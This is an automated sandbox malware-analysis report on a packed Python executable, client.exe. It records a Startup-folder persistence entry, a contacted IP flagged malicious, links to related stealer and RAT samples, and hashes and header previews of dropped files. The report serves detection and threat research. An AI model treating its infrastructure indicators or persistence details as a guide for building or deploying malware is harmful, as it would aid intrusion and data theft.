https://github.com/urllib3/urllib3/issues/3020aNotOpenSSLWarningaOPENSSL_VERSION_INFOT	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/tatsuhiro-t/nghttp2/	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://mathworld.wolfram.com/PoissonDistribution.html	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stat.ethz.ch/~stahel/lognormal/bioscience.pdf	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.pyopenssl.org	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/pyca/cryptography/issues/9253	client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iana.org/time-zones/repository/tz-link.html	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
http://.jpg	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.ipol.im/pub/algo/bcm_non_local_means_denoising	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.pcg-random.org/	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mathworld.wolfram.com/HypergeometricDistribution.html	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.python.org/	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp, all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	false		high
https://netron.app)	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://personal.math.ubc.ca/~cbm/aands/page_83.htm	latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/facebook/zstd/blob/dev/lib/zstd.h).	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://arxiv.org/abs/1704.04503	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/howto/mro.html.	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://twitter.com/	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://nuitka.net/info/segfault.htmlfor	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683179883.00007FF7CAA6A000.00000002.00000001.01000000.00000004.sdmp	false		high
https://data-apis.org/array-api/latest/API_specification/inspection.html	all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.ipol.im/pub/algo/bcm_non_local_means_denoising/	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pcg-random.org/	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://exslt.org/dynamicmap	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google.com/mail/	client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
http://google.com/mail/	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
http://www.gdal.org/formats_list.html)	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.59.30.220	unknown	Germany		30823	COMBAHTONcombahtonGmbHDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577318
Start date and time:	2024-12-18 11:54:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	client.exe
Detection:	MAL
Classification:	mal80.troj.adwa.winEXE@14/163@0/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:57:54	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMBAHTONcombahtonGmbHDE	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	194.59.30.164
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	194.59.30.164
	Shipping Bill6239999 dated 13122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	194.59.30.164
	Support.ClientSetup.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.27
	Counseling_Services_Overview.docm	Get hash	malicious	Unknown	Browse	45.147.231.195
	Nowe zam#U00f3wienie - 0072291855.pdf (243KB).com.exe	Get hash	malicious	Quasar	Browse	194.59.31.75
	https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.199
	https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.199
	firestub.bat	Get hash	malicious	Unknown	Browse	194.59.30.10

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_brotli.pyd	speedymaqing.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse
	dens.exe	Get hash	malicious	Python Stealer, Exela Stealer, Waltuhium Grabber	Browse
	iu56HJ45NV.exe	Get hash	malicious	Unknown	Browse
	General Agreement.docx.exe	Get hash	malicious	Python Stealer, Babadeda, Exela Stealer, Waltuhium Grabber	Browse
	cs.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	Chrome.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.FileRepMalware.11429.3462.exe	Get hash	malicious	Unknown	Browse
	Antilose 2.0.exe	Get hash	malicious	XWorm	Browse
	T27XrwXlaM.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Programs\Startup\latest.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57821696
Entropy (8bit):	7.998642364313516
Encrypted:	true
SSDEEP:	1572864:bmCj3w5ZFlbgNhScis+t8rlhBtbcUXgBHCuQKA:bpj3m1gNhELyhBtPg4
MD5:	8E8D4E8C939EBAF71FB1A593B92ED618
SHA1:	44304FE6746112AA18D3430AE3105066FA5AA2BD
SHA-256:	3CA2A34D08C04AE1A3D356BCE5291D4EFE2E684036AFFB2962F29377E3C8791F
SHA-512:	BFC33BDD79EE6782ABD113B75706776955B99D2ECCB2B0BC74F4BA06C74D68237E2F0FC10BC329F523EE399F6DCA41FA8D3D4ABEDDA231740F7AD149A8ED6D8F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........jO..jO..jO..!7..lO..!7...O..!7..`O..jO..kO..l...hO..l...BO..l...zO..l...{O..!7..oO..jO...O......kO......kO..RichjO..................PE..d.....Sg.........."....&.....@p................@..............................t...........`.....................................................<....p...Co..@..T.............t.....`............................... ...@............ ...............................text...P........................... ..`.rdata....... ......................@..@.data...pN..........................@....pdata..T....@......................@..@_RDATA.......`......................@..@.rsrc....Co..p...Do.................@..@.reloc........t......Br.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_brotli.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	821248
Entropy (8bit):	6.053537214093426
Encrypted:	false
SSDEEP:	12288:wA0uu7wLKRemz/MfQuZ3ekAHhly782XTw05nmZfRJ:wfTdkAFtAmZfRJ
MD5:	9AD5BB6F92EE2CFD29DDE8DD4DA99EB7
SHA1:	30A8309938C501B336FD3947DE46C03F1BB19DC8
SHA-256:	788ACBFD0EDD6CA3EF3E97A9487EEAEA86515642C71CB11BBCF25721E6573EC8
SHA-512:	A166ABCB834D6C9D6B25807ADDDD25775D81E2951E1BC3E9849D8AE868DEDF2E1EE1B6B4B288DDFBD88A63A6FA624E2D6090AA71DED9B90C2D8CBF2D9524FDBF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: speedymaqing.exe, Detection: malicious, Browse Filename: dens.exe, Detection: malicious, Browse Filename: iu56HJ45NV.exe, Detection: malicious, Browse Filename: General Agreement.docx.exe, Detection: malicious, Browse Filename: cs.exe, Detection: malicious, Browse Filename: Chrome.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.FileRepMalware.11429.3462.exe, Detection: malicious, Browse Filename: Antilose 2.0.exe, Detection: malicious, Browse Filename: T27XrwXlaM.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]ws..............n......j......Rn......j......j......j.......k..........$....k..9....k.......k.......k......Rich....................PE..d...7..d.........." ...#.B...H......\F....................................................`......................................... s..`....s.......................................I..............................PH..@............`...............................text....@.......B.................. ..`.rdata.......`.......F..............@..@.data................b..............@....pdata...............j..............@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85272
Entropy (8bit):	6.591841805043941
Encrypted:	false
SSDEEP:	1536:Iyhz79151BVo1vXfzIFnaR4bO1As0n8qsjk+VIMCVl7SyVx7:/hzx15evXkuxAP8qMk+VIMCVlJ
MD5:	30F396F8411274F15AC85B14B7B3CD3D
SHA1:	D3921F39E193D89AA93C2677CBFB47BC1EDE949C
SHA-256:	CB15D6CC7268D3A0BD17D9D9CEC330A7C1768B1C911553045C73BC6920DE987F
SHA-512:	7D997EF18E2CBC5BCA20A4730129F69A6D19ABDDA0261B06AD28AD8A2BDDCDECB12E126DF9969539216F4F51467C0FE954E4776D842E7B373FE93A8246A5CA3F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................b....(......(......(......(......(.....................................................Rich...........PE..d....b.f.........." ...(.....^...............................................`............`.........................................p...H............@.......0..D......../...P..........T...........................p...@............................................text...#........................... ..`.rdata..P>.......@..................@..@.data........ ......................@....pdata..D....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_cffi_backend.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	179712
Entropy (8bit):	6.180800197956408
Encrypted:	false
SSDEEP:	3072:IULjhBCx8qImKrUltSfGzdMcbb9CF8OS7jkSTLkKWlgeml:IgCeqImzSfIMcNCvOkSTLLWWem
MD5:	FCB71CE882F99EC085D5875E1228BDC1
SHA1:	763D9AFA909C15FEA8E016D321F32856EC722094
SHA-256:	86F136553BA301C70E7BADA8416B77EB4A07F76CCB02F7D73C2999A38FA5FA5B
SHA-512:	4A0E98AB450453FD930EDC04F0F30976ABB9214B693DB4B6742D784247FB062C57FAFAFB51EB04B7B4230039AB3B07D2FFD3454D6E261811F34749F2E35F04D6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......a..#%p.p%p.p%p.p,..p)p.p5.q'p.p5.zp!p.p5.q!p.p5.q-p.p5.q)p.pn..q!p.p6.q&p.p%p.p.p.pm..q!p.p,..p$p.pm..q$p.pm.xp$p.pm..q$p.pRich%p.p........................PE..d...W..f.........." ...).....B......`........................................0............`..........................................h..l....i..................T............ .......O...............................M..@............................................text............................... ..`.rdata..............................@..@.data....].......0...p..............@....pdata..T...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	257304
Entropy (8bit):	6.565831509727426
Encrypted:	false
SSDEEP:	6144:/CxJS14bteS9B+ApcG0Qos0KR29py9qWM53pLW1AZHVHMhhhKoDStGwL0zsWD:/aeS9B+HQosbY9FfHVHXfEsWD
MD5:	7AE94F5A66986CBC1A2B3C65A8D617F3
SHA1:	28ABEFB1DF38514B9FFE562F82F8C77129CA3F7D
SHA-256:	DA8BB3D54BBBA20D8FA6C2FD0A4389AEC80AB6BD490B0ABEF5BD65097CBC0DA4
SHA-512:	FBB599270066C43B5D3A4E965FB2203B085686479AF157CD0BB0D29ED73248B6F6371C5158799F6D58B1F1199B82C01ABE418E609EA98C71C37BB40F3226D8C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V..............'.....g&......g&......g&......g&.......!.................9....!.......!.......!.......!K......!......Rich............PE..d...[b.f.........." ...(.....<.......................................................4....`..........................................c..P....c...................&......./......T.......T...............................@............................................text...v........................... ..`.rdata..............................@..@.data...X*.......$...b..............@....pdata...&.......(..................@..@.rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66328
Entropy (8bit):	6.227186392528159
Encrypted:	false
SSDEEP:	1536:9PgLpgE4Z27jHZWZnEmoANIMOIi7SyAx2:9EtHZeEmoANIMOIit
MD5:	A25BC2B21B555293554D7F611EAA75EA
SHA1:	A0DFD4FCFAE5B94D4471357F60569B0C18B30C17
SHA-256:	43ACECDC00DD5F9A19B48FF251106C63C975C732B9A2A7B91714642F76BE074D
SHA-512:	B39767C2757C65500FC4F4289CB3825333D43CB659E3B95AF4347BD2A277A7F25D18359CEDBDDE9A020C7AB57B736548C739909867CE9DE1DBD3F638F4737DC5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8QtZY?'ZY?'ZY?'S!.'^Y?'..>&XY?'..<&YY?'..;&RY?'..:&VY?'.!>&XY?'O.>&_Y?'ZY>'.Y?'O.2&[Y?'O.?&[Y?'O..'[Y?'O.=&[Y?'RichZY?'........PE..d....b.f.........." ...(.V.......... @....................................................`.........................................p...P................................/......X...@}..T............................\|..@............p..(............................text....T.......V.................. ..`.rdata...O...p...P...Z..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	160024
Entropy (8bit):	6.85410280956396
Encrypted:	false
SSDEEP:	3072:ssvkxujgo7e2uONOG+hi+CTznfF9mNoDXnmbuVIMZ10L:snu0o7JUCNYOD2Kg
MD5:	9E94FAC072A14CA9ED3F20292169E5B2
SHA1:	1EEAC19715EA32A65641D82A380B9FA624E3CF0D
SHA-256:	A46189C5BD0302029847FED934F481835CB8D06470EA3D6B97ADA7D325218A9F
SHA-512:	B7B3D0F737DD3B88794F75A8A6614C6FB6B1A64398C6330A52A2680CAF7E558038470F6F3FC024CE691F6F51A852C05F7F431AC2687F4525683FF09132A0DECB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D.3H%.`H%.`H%.`A]7`L%.`...aJ%.`...aK%.`...a@%.`...aD%.`]..aK%.`.].aJ%.`H%.`-%.`]..ar%.`]..aI%.`].[`I%.`]..aI%.`RichH%.`........................PE..d....b.f.........." ...(.f..........`8..............................................C.....`......................................... %..L...l%..x....p.......P.......B.../......4.......T...............................@............................................text...be.......f.................. ..`.rdata..............j..............@..@.data...p....@......................@....pdata.......P......."..............@..@.rsrc........p.......6..............@..@.reloc..4............@..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32536
Entropy (8bit):	6.553382348933807
Encrypted:	false
SSDEEP:	768:WlzRmezj6rGqMoW45IMQUHR5YiSyvMcAMxkEm2j:yRm0mGpoW45IMQUHf7SyVxb
MD5:	E1C6FF3C48D1CA755FB8A2BA700243B2
SHA1:	2F2D4C0F429B8A7144D65B179BEAB2D760396BFB
SHA-256:	0A6ACFD24DFBAA777460C6D003F71AF473D5415607807973A382512F77D075FA
SHA-512:	55BFD1A848F2A70A7A55626FB84086689F867A79F09726C825522D8530F4E83708EB7CAA7F7869155D3AE48F3B6AA583B556F3971A2F3412626AE76680E83CA1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.\.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...`b.f.........." ...(.....8............................................................`..........................................C..L...<D..d....p.......`.......P.../...........4..T...........................@3..@............0..8............................text............................... ..`.rdata.......0......................@..@.data........P.......<..............@....pdata.......`.......@..............@..@.rsrc........p.......D..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83736
Entropy (8bit):	6.3186936632343205
Encrypted:	false
SSDEEP:	1536:mOYhekrkJqlerLSyypHf9/s+S+pzMii/n1IsJqKN5IMLwoR7SygCxkWN:vwkJqHyypHf9/sT+pzMiE1IwdN5IMLw0
MD5:	69801D1A0809C52DB984602CA2653541
SHA1:	0F6E77086F049A7C12880829DE051DCBE3D66764
SHA-256:	67ACA001D36F2FCE6D88DBF46863F60C0B291395B6777C22B642198F98184BA3
SHA-512:	5FCE77DD567C046FEB5A13BAF55FDD8112798818D852DFECC752DAC87680CE0B89EDFBFBDAB32404CF471B70453A33F33488D3104CD82F4E0B94290E83EAE7BB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...Nb}.Nb}.Nb}.6.}.Nb}g.c\|.Nb}g.a\|.Nb}g.f\|.Nb}g.g\|.Nb}..c\|.Nb}.Nc}.Nb}.6c\|.Nb}..o\|.Nb}..b\|.Nb}..}.Nb}..`\|.Nb}Rich.Nb}................PE..d....b.f.........." ...(.x..........0-.......................................`............`.........................................@...P............@.......0.........../...P......P...T...............................@............................................text....v.......x.................. ..`.rdata...x.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178456
Entropy (8bit):	5.975111032322451
Encrypted:	false
SSDEEP:	3072:9EkiCZfBmvD1ZLnM2YfW6XSvWJLX2GvMf1ba+VRJNI7IM/H9o/PCrXuI3JVIMC7g:riC5QD1dwW6XSOMfjTwJH
MD5:	90F080C53A2B7E23A5EFD5FD3806F352
SHA1:	E3B339533BC906688B4D885BDC29626FBB9DF2FE
SHA-256:	FA5E6FE9545F83704F78316E27446A0026FBEBB9C0C3C63FAED73A12D89784D4
SHA-512:	4B9B8899052C1E34675985088D39FE7C95BFD1BBCE6FD5CBAC8B1E61EDA2FBB253EEF21F8A5362EA624E8B1696F1E46C366835025AABCB7AA66C1E6709AAB58A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..j8.98.98.91.09>.9._.8:.9._.8;.9._.80.9._.85.9-X.8>.98.9..9s..8?.9-X.8:.9-X.89.9-X\99.9-X.89.9Rich8.9........................PE..d....b.f.........." ...(.............,....................................................`.............................................d...D...................P......../......x.......T...........................@...@............................................text............................... ..`.rdata...#.......$..................@..@.data...p...........................@....pdata..P............b..............@..@.rsrc................n..............@..@.reloc..x............x..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_wmi.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37656
Entropy (8bit):	6.340152202881265
Encrypted:	false
SSDEEP:	768:rUmqQhTcYr6NxO0VIMCit5YiSyv4YmAJAMxkEn:Im7GBNxO0VIMCiz7SyQYmQxz
MD5:	827615EEE937880862E2F26548B91E83
SHA1:	186346B816A9DE1BA69E51042FAF36F47D768B6C
SHA-256:	73B7EE3156EF63D6EB7DF9900EF3D200A276DF61A70D08BD96F5906C39A3AC32
SHA-512:	45114CAF2B4A7678E6B1E64D84B118FB3437232B4C0ADD345DDB6FBDA87CEBD7B5ADAD11899BDCD95DDFE83FDC3944A93674CA3D1B5F643A2963FBE709E44FB8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k.L...L...L...E..J.......H.......H.......D...Y...N.......Q.......K...L...........M...Y...M...Y...M...Y...M...Y...M...RichL...........PE..d...db.f.........." ...(....<.......(...................................................`..........................................V..H...HV..................x....d.../......t...dG..T............................C..@............@.......S..@....................text...n(......................... ..`.rdata..4 ...@..."..................@..@.data........p.......P..............@....pdata..x............T..............@..@.rsrc................X..............@..@.reloc..t............b..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\bcrypt\_bcrypt.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	304128
Entropy (8bit):	6.435912222206497
Encrypted:	false
SSDEEP:	6144:dGZdT4vpmI+uyOkjC/g6XMX/cXt2/mW/UcuvJOlRncKNek487Qa858nD8yCKLAvO:M7T4ppVkjC5rCr
MD5:	829AC778D5A82A72FD5F83312D929A93
SHA1:	B42FC4B15C7F9AD2BB84A0CC07040701EA462A0F
SHA-256:	3D26EFEEDD40E9CB67D66803B235F56D38A5932D1D82B86CAE4EDACE5385D27A
SHA-512:	D76F474EBC9BB9E84AAA989B40CF9783469757B535424DB3913FB4BB1C39014E4B17F0067232DCEFD9A5429DD0D4AE9EC15DBCE99CB2FBF285F745739F32D22B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?..Q..Q..Q......Q.''P..Q.''R..Q.''U..Q.''T..Q.%P..Q..P..Q..P.d.Q..Q.Q.. Q..Q.. S..Q.Rich.Q.................PE..d.....f.........." ...(.$...~............................................................`..........................................w..T....w...................'..............4.......T.......................(...P...@............@...............................text....#.......$.................. ..`.rdata...F...@...H...(..............@..@.data...0............p..............@....pdata...'.......(...t..............@..@.reloc..4...........................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\certifi\cacert.pem

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299427
Entropy (8bit):	6.047872935262006
Encrypted:	false
SSDEEP:	6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
MD5:	50EA156B773E8803F6C1FE712F746CBA
SHA1:	2C68212E96605210EDDF740291862BDF59398AEF
SHA-256:	94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
SHA-512:	01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
Malicious:	false
